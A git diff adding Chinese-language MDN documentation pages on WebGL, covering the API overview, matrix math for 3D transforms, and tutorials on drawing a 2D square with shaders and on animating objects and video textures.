Web 中的矩阵运算
+
讲述 3D 变换矩阵工作原理的指南 —— 这也能在WebGL计算和CSS3变换中派上用场。
+
+ +

资源

+ + + +

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL')}}{{Spec2('WebGL')}}初始定义。基于 OpenGL ES 2.0
{{SpecName('WebGL2')}}{{Spec2('WebGL2')}}在 WebGL 1 基础上构建。基于 OpenGL ES 3.0
{{SpecName('OpenGL ES 2.0')}}{{Spec2('OpenGL ES 2.0')}}
{{SpecName('OpenGL ES 3.0')}}{{Spec2('OpenGL ES 3.0')}}
+ +

浏览器兼容性

+ +

WebGL 1

+ + + +

{{Compat("api.WebGLRenderingContext", 0)}}

+ +

WebGL 2

+ + + +

{{Compat("api.WebGL2RenderingContext", 0)}}

+ +

兼容性说明

+ +

不仅是浏览器,GPU本身也需要支持该特性。比如 S3 纹理压缩 (S3TC) 只在基于图睿的GPU的设备上可用。大多数浏览器可以通过 webgl 这一上下文名称来使用 WebGL,但是旧的浏览器需要使用 experimental-webgl。另外,将来的 WebGL 2 只会向后兼容,其使用的上下文名称为 webgl2 。

+ +

Gecko备忘

+ +

WebGL调试与检测

+ +

开始使用Gecko 10.0 {{geckoRelease("10.0")}}, 在测试中,这里有两个参数可以让你来控制WebGL性能:

+ +
+
webgl.min_capability_mode
+
一个以布尔值存储的属性。当它的值为True时,将会启用最小性能模式。当这个模式启用时,WebGL将会仅提供由其标准指定的最基本的功能集和性能支持。这样可以确保您的WebGL代码能够在性能的设备和浏览器上正确运行。它的默认值是False
+
webgl.disable_extensions
+
一个以布尔值存储的属性。当它的值为True时,会禁用所有的WebGL拓展。它的默认值是False
+
+ +

参见

+ + +
diff --git a/files/zh-cn/web/api/webgl_api/matrix_math_for_the_web/index.html b/files/zh-cn/web/api/webgl_api/matrix_math_for_the_web/index.html new file mode 100644 index 0000000000..26472a5c15 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/matrix_math_for_the_web/index.html @@ -0,0 +1,326 @@ +--- +title: Matrix math for the web +slug: Web/API/WebGL_API/Matrix_math_for_the_web +tags: + - WebGL + - matrix + - 三维 + - 矩阵数学 +translation_of: Web/API/WebGL_API/Matrix_math_for_the_web +--- +

{{WebGLSidebar}}

+ +

矩阵可以用于表示空间中的对象的变换,并且是Web页面可视化的重要工具。本文探索如何创建并配合CSS3变换和matrix3d变换类型使用矩阵。

+ +

虽然本文为了便于解释而使用了CSS3, 矩阵却是许多技术中的核心概念, 包括WebGL和着色器。本文也是MDN content kit的一部分。示例使用了一组全局对象MDN下的工具函数

+ +

什么是变换矩阵?

+ +

虽然存在许多类型的矩阵,但我们感兴趣的是三维变换矩阵。这种矩阵由一个4x4方阵,共16个值组成。在JavaScript中,可以很方便的用数组表示矩阵。比如典型的单位矩阵。单位阵乘上一个点或者矩阵, 其结果保持不变。

+ +
var identityMatrix = [
+  1, 0, 0, 0,
+  0, 1, 0, 0,
+  0, 0, 1, 0,
+  0, 0, 0, 1
+];
+
+ +

说到乘法,这种运算用于矩阵是什么样的呢?最简单的例子是矩阵乘一个点。你可能注意到,三维空间中的点和一个4x4矩阵并不匹配,为此我们加上了额外的第四维W。一般来说,把W设为1就可以了。W维度还有一些额外的用途超出本文的讨论范围。查看WebGL model view projection看它有哪些用途。

+ +

注意矩阵和点的对齐方式:

+ +
[1, 0, 0, 0,
+ 0, 1, 0, 0,
+ 0, 0, 1, 0,
+ 0, 0, 0, 1]
+
+[4, 3, 2, 1]
+
+ +

定义相乘函数

+ +

我们在示例代码中定义了一个乘法函数 — multiplyMatrixAndPoint():

+ +
function multiplyMatrixAndPoint(matrix, point) {
+
+  // 给矩阵的每一部分一个简单的变量名, 列数(c)与行数(r)
+  var c0r0 = matrix[ 0], c1r0 = matrix[ 1], c2r0 = matrix[ 2], c3r0 = matrix[ 3];
+  var c0r1 = matrix[ 4], c1r1 = matrix[ 5], c2r1 = matrix[ 6], c3r1 = matrix[ 7];
+  var c0r2 = matrix[ 8], c1r2 = matrix[ 9], c2r2 = matrix[10], c3r2 = matrix[11];
+  var c0r3 = matrix[12], c1r3 = matrix[13], c2r3 = matrix[14], c3r3 = matrix[15];
+
+  // 定义点坐标
+  var x = point[0];
+  var y = point[1];
+  var z = point[2];
+  var w = point[3];
+
+  // 点坐标和第一列对应相乘, 再求和
+  var resultX = (x * c0r0) + (y * c0r1) + (z * c0r2) + (w * c0r3);
+
+  // 点坐标和第二列对应相乘, 再求和
+  var resultY = (x * c1r0) + (y * c1r1) + (z * c1r2) + (w * c1r3);
+
+  // 点坐标和第三列对应相乘, 再求和
+  var resultZ = (x * c2r0) + (y * c2r1) + (z * c2r2) + (w * c2r3);
+
+  // 点坐标和第四列对应相乘, 再求和
+  var resultW = (x * c3r0) + (y * c3r1) + (z * c3r2) + (w * c3r3);
+
+  return [resultX, resultY, resultZ, resultW]
+}
+
+ +

现在我们可以使用上面的函数将一个点乘上一个矩阵。乘以单位阵将会返回原值:

+ +
// identityResult等于[4,3,2,1]
+var identityResult = multiplyMatrixAndPoint(identityMatrix, [4,3,2,1]);
+
+ +

返回同一个点并没有什么用处, 但还有一些其它的矩阵可以作用于点,返回有用的结果。接下来我们将演示其中一些矩阵。

+ +

两个矩阵相乘

+ +

除了把矩阵和点相乘,你也可以把两个矩阵相乘。之前的函数可以帮助我们简化这个过程:

+ +
function multiplyMatrices(matrixA, matrixB) {
+
+  // 将第二个矩阵按列切片
+  var column0 = [matrixB[0], matrixB[4], matrixB[8], matrixB[12]];
+  var column1 = [matrixB[1], matrixB[5], matrixB[9], matrixB[13]];
+  var column2 = [matrixB[2], matrixB[6], matrixB[10], matrixB[14]];
+  var column3 = [matrixB[3], matrixB[7], matrixB[11], matrixB[15]];
+
+  // 将每列分别和矩阵相乘
+  var result0 = multiplyMatrixAndPoint( matrixA, column0 );
+  var result1 = multiplyMatrixAndPoint( matrixA, column1 );
+  var result2 = multiplyMatrixAndPoint( matrixA, column2 );
+  var result3 = multiplyMatrixAndPoint( matrixA, column3 );
+
+  // 把结果重新组合成矩阵
+  return [
+    result0[0], result1[0], result2[0], result3[0],
+    result0[1], result1[1], result2[1], result3[1],
+    result0[2], result1[2], result2[2], result3[2],
+    result0[3], result1[3], result2[3], result3[3]
+  ]
+}
+
+ +

用法

+ +

让我们看一看实际使用:

+ +
var someMatrix = [
+  4, 0, 0, 0,
+  0, 3, 0, 0,
+  0, 0, 5, 0,
+  4, 8, 4, 1
+]
+
+var identityMatrix = [
+  1, 0, 0, 0,
+  0, 1, 0, 0,
+  0, 0, 1, 0,
+  0, 0, 0, 1
+];
+
+// 返回someMatrix的数组表示
+var someMatrixResult = multiplyMatrices(identityMatrix, someMatrix);
+
+ +
+

重要: 这些函数是为了解释的清晰而编写,而不是为了速度或者内存管理。这些函数新建了大量数组, 可能在实时运算时导致垃圾回收的巨大开销。在实际产品中最好使用优化过的函数。比如glMatrix就是一个注重速度和性能的库。

+
+ +

平移矩阵

+ +

平移矩阵基于单位矩阵。它将一个对象沿x,y,z其中一个方向进行移动。最简单的想象平移的方式是设想拿起一个咖啡杯。咖啡杯必须保持直立和朝向以免咖啡洒出来。它可以离开桌子在空间中移动。

+ +

现在我们还喝不到这个杯子里的咖啡,因为在平移矩阵的单独作用下杯子并不能倾斜。在之后的部分,我们会讨论新的矩阵,来解决这个问题。

+ +
var x = 50;
+var y = 100;
+var z = 0;
+
+var translationMatrix = [
+    1,    0,    0,   0,
+    0,    1,    0,   0,
+    0,    0,    1,   0,
+    x,    y,    z,   1
+];
+
+ +

用矩阵操作DOM

+ +

一个非常简单的开始使用矩阵的方法是使用CSS3里的matrix3d变换。首先, 我们新建一个简单的{{htmlelement("div")}}并加上一些内容。这里样式没有展示出来,但我们将其设置成了页面居中且固定宽度与高度。我们同样为变换设定了动画以便清晰的观察发生的变化。

+ +
<div id='move-me' class='transformable'>
+  <h2>Move me with a matrix</h2>
+  <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit...</p>
+</div>
+
+ +

最后,我们会为每一个例子生成一个4x4矩阵,然后更新<div>的样式,对其应用一个matrix3d变换。要记住即使矩阵有四行四列,也要将其写成单行16个值。

+ +
// 从矩阵数组创建matrix3d样式属性
+function matrixArrayToCssMatrix(array) {
+  return "matrix3d(" + array.join(',') + ")";
+}
+
+// 获取DOM元素
+var moveMe = document.getElementById('move-me');
+
+// 返回结果如:"matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 50, 100, 0, 1);"
+var matrix3dRule = matrixArrayToCssMatrix( translationMatrix );
+
+// 设置变换
+moveMe.style.transform = matrix3dRule;
+
+ +

在JSFiddle中查看

+ +

An example of matrix translation

+ +

缩放矩阵

+ +

缩放矩阵使对象的高度、宽度和深度三个维度的其中之一变大或变小。在典型(笛卡尔)坐标系中, 这将使得x,y,z坐标拉伸或收缩。

+ +
var w = 1.5; // width  (x)
+var h = 0.7; // height (y)
+var d = 1;   // depth  (z)
+
+var scaleMatrix = [
+    w,    0,    0,   0,
+    0,    h,    0,   0,
+    0,    0,    d,   0,
+    0,    0,    0,   1
+];
+
+ +

在JSFiddle中查看

+ +

An example of matrix scaling

+ +

旋转矩阵

+ +

旋转矩阵比平移和缩放矩阵要稍复杂一些。其中用到了三角函数来完成旋转。尽管这部分不会把步骤讲得过于详细,但是下例有简单的说明。

+ +
// 不借助矩阵将点绕原点旋转
+var point = [10,2];
+
+// 计算到原点的距离
+var distance = Math.sqrt(point[0] * point[0] + point[1] * point[1]);
+
+// 60度
+var rotationInRadians = Math.PI / 3;
+
+var transformedPoint = [
+  Math.cos( rotationInRadians ) * distance,
+  Math.sin( rotationInRadians ) * distance
+];
+
+ +

我们可以将上述步骤表示为一个矩阵,并且单独应用到x, y,和z坐标。下面是绕Z轴旋转的表示:

+ +
var sin = Math.sin;
+var cos = Math.cos;
+
+// NOTE: There is no perspective in these transformations, so a rotation
+//       at this point will only appear to only shrink the div
+
+var a = Math.PI * 0.3; // 转角
+
+// 绕Z轴旋转
+var rotateZMatrix = [
+  cos(a), -sin(a),    0,    0,
+  sin(a),  cos(a),    0,    0,
+       0,       0,    1,    0,
+       0,       0,    0,    1
+];
+
+ +

在JSFiddle中查看

+ +

+ +

这里是一组返回旋转矩阵的函数。要注意的是由于没有加入透视,所以旋转看起来没有那么3D。这就好像摄像机在极近距离拍摄一个物体——透视的感觉消失了。

+ +
function rotateAroundXAxis(a) {
+
+  return [
+       1,       0,        0,     0,
+       0,  cos(a),  -sin(a),     0,
+       0,  sin(a),   cos(a),     0,
+       0,       0,        0,     1
+  ];
+}
+
+function rotateAroundYAxis(a) {
+
+  return [
+     cos(a),   0, sin(a),   0,
+          0,   1,      0,   0,
+    -sin(a),   0, cos(a),   0,
+          0,   0,      0,   1
+  ];
+}
+
+function rotateAroundZAxis(a) {
+
+  return [
+    cos(a), -sin(a),    0,    0,
+    sin(a),  cos(a),    0,    0,
+         0,       0,    1,    0,
+         0,       0,    0,    1
+  ];
+}
+
+ +

在JSFiddle中查看

+ +

矩阵组合

+ +

矩阵的真正厉害之处在于矩阵的组合。当一组特定类型的矩阵连乘起来,它们保留了变换的经过并且是可逆的。这意味着如果平移、旋转和缩放矩阵组合在一起,当我们使用逆变换并颠倒应用的顺序,可以得到原来的点。

+ +

矩阵相乘的结果与顺序有关。两个数相乘时,a * b = c, 和 b * a = c 都是正确的。例如,3 * 4 = 12, 和 4 * 3 = 12。在数学上这些数被称为可交换。矩阵不能保证交换顺序后的运算结果,所以矩阵是不可交换的。

+ +

另一个需要记住的点是在WebGL和CSS3中的矩阵相乘需要和变换发生的顺序相反。例如,缩放对象到80%,向下移动200像素,然后绕原点旋转90度在伪代码中应该像下面这样。

+ +
  transformation = rotate * translate * scale
+
+ +

组合多种变换

+ +

我们将使用的函数是工具函数的一部分。其接受矩阵的数组并把它们乘起来。在WebGL着色器代码里,这内建在语言里,并且我们可以使用 * 运算符。除此之外,本例使用了一个缩放函数,一个平移函数,它们返回之前定义的矩阵。

+ +
var transformMatrix = MDN.multiplyArrayOfMatrices([
+  rotateAroundZAxis(Math.PI * 0.5),    // 第3步:旋转90度
+  translate(0, 200, 0),                // 第2步:下移100像素
+  scale(0.8, 0.8, 0.8),                // 第1步:缩小
+]);
+
+
+ +

在JSFiddle中查看

+ +

An example of matrix composition

+ +

最后是展示矩阵用途的有趣的一步,看看怎样颠倒这些步骤并得到最开始的单位矩阵。

+ +
var transformMatrix = MDN.multiplyArrayOfMatrices([
+  scale(1.25, 1.25, 1.25),             // 第6步:放大
+  translate(0, -200, 0),               // 第5步:上移
+  rotateAroundZAxis(-Math.PI * 0.5),   // 第4步:倒转
+  rotateAroundZAxis(Math.PI * 0.5),    // 第3步:旋转90度
+  translate(0, 200, 0),                // 第2步:下移100像素
+  scale(0.8, 0.8, 0.8),                // 第1步:缩小
+]);
+
+ +

为什么矩阵这么重要?

+ +

矩阵之所以重要,是因为它可以用少量的数字描述大量的空间中的变换,并且能轻易地在程序间共享。矩阵可以不同的坐标空间,甚至一些矩阵乘法可以将一组数据从一个坐标空间映射到另一个坐标空间。矩阵能够高效率地保存生成它们的每一步变换。

+ +

对于在WebGL中使用,显卡尤其擅长大量的点乘矩阵运算。各种各样的运算,如点定位、光线运算、动态角色,都依赖这个基础工具。

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/zh-cn/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html new file mode 100644 index 0000000000..460d6debee --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -0,0 +1,284 @@ +--- +title: 使用 WebGL 创建 2D 内容 +slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +tags: + - Tutorial + - WebGL + - 着色器 +translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

+ +

一旦创建WebGL上下文创建成功,你就可以在这个上下文里渲染画图了。而对我们而言最简单的事,莫过于绘制一个没有纹理的2D图形了。那就让我们从画出一个正方形开始吧。

+ +

渲染场景

+ +

在开始前,我们首先需要明确最重要的一点,虽然我们的例子只是画一个二维物体,但我们仍然是在把它画在一个三维空间里。所以,我们依然需要创建着色器,通过它来渲染我们的简单场景并画出我们的物体。往下,我们将展示正方形是怎样一步步被画出来的。

+ +

着色器

+ +

着色器是使用 OpenGL ES 着色语言(GLSL)编写的程序,它携带着绘制形状的顶点信息以及构造绘制在屏幕上像素的所需数据,换句话说,它负责记录着像素点的位置和颜色。

+ +

绘制WebGL时候有两种不同的着色器函数,顶点着色器和片段着色器。你需要通过用GLSL 编写这些着色器,并将代码文本传递给WebGL , 使之在GPU执行时编译。顺便一提,顶点着色器和片段着色器的集合我们通常称之为着色器程序。

+ +

下面我们通过在WebGL 环境绘制一个2D图像的例子快速介绍这两种着色器。

+ +

顶点着色器

+ +

每次渲染一个形状时,顶点着色器会在形状中的每个顶点运行。 它的工作是将输入顶点从原始坐标系转换到WebGL使用的缩放空间(clipspace)坐标系,其中每个轴的坐标范围从-1.0到1.0,并且不考虑纵横比,实际尺寸或任何其他因素。

+ +

顶点着色器需要对顶点坐标进行必要的转换,在每个顶点基础上进行其他调整或计算,然后通过将其保存在由GLSL提供的特殊变量(我们称为gl_Position)中来返回变换后的顶点

+ +

顶点着色器根据需要, 也可以完成其他工作。例如,决定哪个包含 {{interwiki("wikipedia", "texel_(graphics)", "texel")}}面部纹理的坐标,可以应用于顶点;通过法线来确定应用到顶点的光照因子等。然后将这些信息存储在变量(varyings)属性(attributes)属性中,以便与片段着色器共享

+ +

以下的顶点着色器接收一个我们定义的属性(aVertexPosition)的顶点位置值。之后这个值与两个4x4的矩阵(uProjectionMatrix和uModelMatrix)相乘; 乘积赋值给gl_Position。有关投影和其他矩阵的更多信息,在这里您可能可以找到有帮助的文章.。

+ +
// Vertex shader program
+
+  const vsSource = `
+    attribute vec4 aVertexPosition;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    void main() {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+    }
+  `;
+ +

这个例子中,我们没有计算任何光照效果,因为我们还没有应用到场景,它将后面的 WebGL光照章节介绍。同样我们也还没应用任何纹理,这将在WebGL添加纹理章节补充。

+ +

片段着色器

+ +

片段着色器在顶点着色器处理完图形的顶点后,会被要绘制的每个图形的每个像素点调用一次。它的职责是确定像素的颜色,通过指定应用到像素的纹理元素(也就是图形纹理中的像素),获取纹理元素的颜色,然后将适当的光照应用于颜色。之后颜色存储在特殊变量gl_FragColor中,返回到WebGL层。该颜色将最终绘制到屏幕上图形对应像素的对应位置。

+ +
const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+ +

初始化着色器

+ +

现在我们已经定义了两个着色器,我们需要将它们传递给WebGL,编译并将它们连接在一起。下面的代码通过调用loadShader(),为着色器传递类型和来源,创建了两个着色器。然后创建一个附加着色器的程序,将它们连接在一起。如果编译或链接失败,代码将弹出alert。

+ +
//
+//  初始化着色器程序,让WebGL知道如何绘制我们的数据
+function initShaderProgram(gl, vsSource, fsSource) {
+  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+  // 创建着色器程序
+
+  const shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // 创建失败, alert
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));
+    return null;
+  }
+
+  return shaderProgram;
+}
+
+//
+// 创建指定类型的着色器,上传source源码并编译
+//
+function loadShader(gl, type, source) {
+  const shader = gl.createShader(type);
+
+  // Send the source to the shader object
+
+  gl.shaderSource(shader, source);
+
+  // Compile the shader program
+
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
+    gl.deleteShader(shader);
+    return null;
+  }
+
+  return shader;
+}
+
+ +

loadShader函数将WebGL上下文,着色器类型和源码作为参数输入,然后按如下步骤创建和编译着色器:

+ +

1. 调用{{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}}.创建一个新的着色器。

+ +

2. 调用{{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}}.将源代码发送到着色器。

+ +

3. 一旦着色器获取到源代码,就使用{{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}}.进行编译。

+ +

4. 为了检查是否成功编译了着色器,将检查着色器参数gl.COMPILE_STATUS状态。通过调用{{domxref("WebGLRenderingContext.getShaderParameter", "gl.getShaderParameter()")}}获得它的值,并指定着色器和我们想要检查的参数的名字(gl.COMPILE_STATUS)。如果返回错误,则着色器无法编译,因此通过{{domxref("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}从编译器中获取日志信息并alert,然后删除着色器返回null,表明加载着色器失败。

+ +

5. 如果着色器被加载并成功编译,则返回编译的着色器。

+ +

我们可以像这样调用这段代码

+ +
  const shaderProgram = initShaderProgram(gl, vsSource, fsSource);
+ +

在创建着色器程序之后,我们需要查找WebGL返回分配的输入位置。在上述情况下,我们有一个属性和两个uniforms。属性从缓冲区接收值。顶点着色器的每次迭代都从分配给该属性的缓冲区接收下一个值。uniforms类似于JavaScript全局变量。它们在着色器的所有迭代中保持相同的值。由于属性和统一的位置是特定于单个着色器程序的,因此我们将它们存储在一起以使它们易于传递

+ +
const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+    },
+  };
+ +

创建对象

+ +

在画正方形前,我们需要创建一个缓冲器来存储它的顶点。我们会用到名字为 initBuffers() 的函数。当我们了解到更多WebGL 的高级概念时,这段代码会将有更多参数,变得更加复杂,并且用来创建更多的三维物体。

+ +
function initBuffers(gl) {
+  const positionBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER,
+                new Float32Array(vertices),
+                gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+  };
+}
+
+ +

这段代码简单给出了绘画场景的本质。首先,它调用 gl 的成员函数 {{domxref("WebGLRenderingContext.createBuffer()", "createBuffer()")}} 得到了缓冲对象并存储在顶点缓冲器。然后调用 {{domxref("WebGLRenderingContext.bindBuffer()", "bindBuffer()")}} 函数绑定上下文。

+ +

当上一步完成,我们创建一个Javascript 数组去记录每一个正方体的每一个顶点。然后将其转化为 WebGL 浮点型类型的数组,并将其传到 gl 对象的  {{domxref("WebGLRenderingContext.bufferData()", "bufferData()")}} 方法来建立对象的顶点。

+ +

绘制场景

+ +

当着色器和物体都创建好后,我们可以开始渲染这个场景了。因为我们这个例子不会产生动画,所以 drawScene() 方法非常简单。它还使用了几个工具函数,稍后我们会介绍。

+ +
+

注意: 你可能会得到这样一段错误报告:“ mat4 is not defined”,意思是说你缺少glmatrix库。该库的js文件gl-matrix.js可以从这里获得.

+
+ +
function drawScene(gl, programInfo, buffers) {
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // Clear to black, fully opaque
+  gl.clearDepth(1.0);                 // Clear everything
+  gl.enable(gl.DEPTH_TEST);           // Enable depth testing
+  gl.depthFunc(gl.LEQUAL);            // Near things obscure far things
+
+  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // Create a perspective matrix, a special matrix that is
+  // used to simulate the distortion of perspective in a camera.
+  // Our field of view is 45 degrees, with a width/height
+  // ratio that matches the display size of the canvas
+  // and we only want to see objects between 0.1 units
+  // and 100 units away from the camera.
+
+  const fieldOfView = 45 * Math.PI / 180;   // in radians
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const zNear = 0.1;
+  const zFar = 100.0;
+  const projectionMatrix = mat4.create();
+
+  // note: glmatrix.js always has the first argument
+  // as the destination to receive the result.
+  mat4.perspective(projectionMatrix,
+                   fieldOfView,
+                   aspect,
+                   zNear,
+                   zFar);
+
+  // Set the drawing position to the "identity" point, which is
+  // the center of the scene.
+  const modelViewMatrix = mat4.create();
+
+  // Now move the drawing position a bit to where we want to
+  // start drawing the square.
+
+  mat4.translate(modelViewMatrix,     // destination matrix
+                 modelViewMatrix,     // matrix to translate
+                 [-0.0, 0.0, -6.0]);  // amount to translate
+
+  // Tell WebGL how to pull out the positions from the position
+  // buffer into the vertexPosition attribute.
+  {
+    const numComponents = 3;  // pull out 3 values per iteration
+    const type = gl.FLOAT;    // the data in the buffer is 32bit floats
+    const normalize = false;  // don't normalize
+    const stride = 0;         // how many bytes to get from one set of values to the next
+                              // 0 = use type and numComponents above
+    const offset = 0;         // how many bytes inside the buffer to start from
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexPosition,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexPosition);
+  }
+
+  // Tell WebGL to use our program when drawing
+
+  gl.useProgram(programInfo.program);
+
+  // Set the shader uniforms
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.projectionMatrix,
+      false,
+      projectionMatrix);
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.modelViewMatrix,
+      false,
+      modelViewMatrix);
+
+  {
+    const offset = 0;
+    const vertexCount = 4;
+    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
+  }
+}
+
+ +

第一步,用背景色擦除画布,接着建立摄像机透视矩阵。设置45度的视图角度,并且设置一个适合实际图像的宽高比。 指定在摄像机距离0.1到100单位长度的范围内的物体可见。

+ +

接着加载特定位置,并把正方形放在距离摄像机6个单位的的位置。然后,我们绑定正方形的顶点缓冲到上下文,并配置好,再通过调用 {{domxref("WebGLRenderingContext.drawArrays()", "drawArrays()")}} 方法来画出对象。 

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample2/index.html', 670, 510) }}

+ +

如果你的浏览器支持WebGL的话,可以点击这里看看DEMO。完整的源代码从这里获得

+ +

矩阵通用计算

+ +

矩阵计算是一个很复杂的运算。 没人会想去自己写完所有代码来处理这些运算。通常人们使用一个矩阵运算库,而不会自己实现矩阵运算。在这个例子中我们使用的是glMatrix library.

+ +

相关资料

+ + + +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html new file mode 100644 index 0000000000..6cfeee1284 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -0,0 +1,55 @@ +--- +title: 用WebGL让目标动起来 +slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +tags: + - WebGL + - 教程 +translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

在此示例中,我们实际上将旋转正方形平面。

+ +

使正方形旋转

+ +

让我们开始旋转正方形。我们需要的第一件事是创建一个变量,用于跟踪正方形的当前旋转:

+ +
var squareRotation = 0.0;
+
+ +

现在我们需要更新drawScene()函数以在绘制正方形时将当前旋转应用于正方形。转换为正方形的初始绘图位置后,我们像这样应用旋转:

+ +
  mat4.rotate(modelViewMatrix,  // destination matrix
+              modelViewMatrix,  // matrix to rotate
+              squareRotation,   // amount to rotate in radians
+              [0, 0, 1]);       // axis to rotate around
+ +

这会将modelViewMatrix的当前值squareRotation绕Z轴旋转。

+ +

要进行动画制作,我们需要添加squareRotation随时间更改值的代码为此,我们可以创建一个新变量来跟踪上次动画播放的时间(我们称之为then),然后将以下代码添加到主函数的末尾

+ +
  var then = 0;
+
+  // Draw the scene repeatedly
+  function render(now) {
+    now *= 0.001;  // convert to seconds
+    const deltaTime = now - then;
+    then = now;
+
+    drawScene(gl, programInfo, buffers, deltaTime);
+
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+ +

该代码用于  requestAnimationFrame 要求浏览器在每一帧上调用函数“render”。requestAnimationFrame 自页面加载以来经过的时间(以毫秒为单位)。我们将其转换为秒,然后从中减去,以计算deltaTime 自渲染最后一帧以来的秒数  在drawscene的结尾,我们添加了要更新的代码 squareRotation.

+ +
  squareRotation += deltaTime;
+ +

该代码使用自上次我们更新值以来所经过的时间squareRotation来确定旋转正方形的距离。

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }}

+ +

查看完整代码 | 在新页面中打开示例

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

diff --git a/files/zh-cn/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/zh-cn/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html new file mode 100644 index 0000000000..763e9ae60d --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html @@ -0,0 +1,144 @@ +--- +title: 动画纹理 +slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

在本演示中,我们以上一个示例为基础,将静态纹理替换为正在播放的mp4视频文件的帧。实际上,这很容易做到,而且观看起来很有趣,所以让我们开始吧。您可以使用类似的代码来使用任何类型的数据(例如{{ HTMLElement("canvas") }}) 作为纹理的源。

+ +

获取视频

+ +

第一步是创建{{ HTMLElement("video") }}将用于检索视频帧元素:

+ +
// will set to true when video can be copied to texture
+var copyVideo = false;
+
+function setupVideo(url) {
+  const video = document.createElement('video');
+
+  var playing = false;
+  var timeupdate = false;
+
+  video.autoplay = true;
+  video.muted = true;
+  video.loop = true;
+
+  // Waiting for these 2 events ensures
+  // there is data in the video
+
+  video.addEventListener('playing', function() {
+     playing = true;
+     checkReady();
+  }, true);
+
+  video.addEventListener('timeupdate', function() {
+     timeupdate = true;
+     checkReady();
+  }, true);
+
+  video.src = url;
+  video.play();
+
+  function checkReady() {
+    if (playing && timeupdate) {
+      copyVideo = true;
+    }
+  }
+
+  return video;
+}
+
+ +

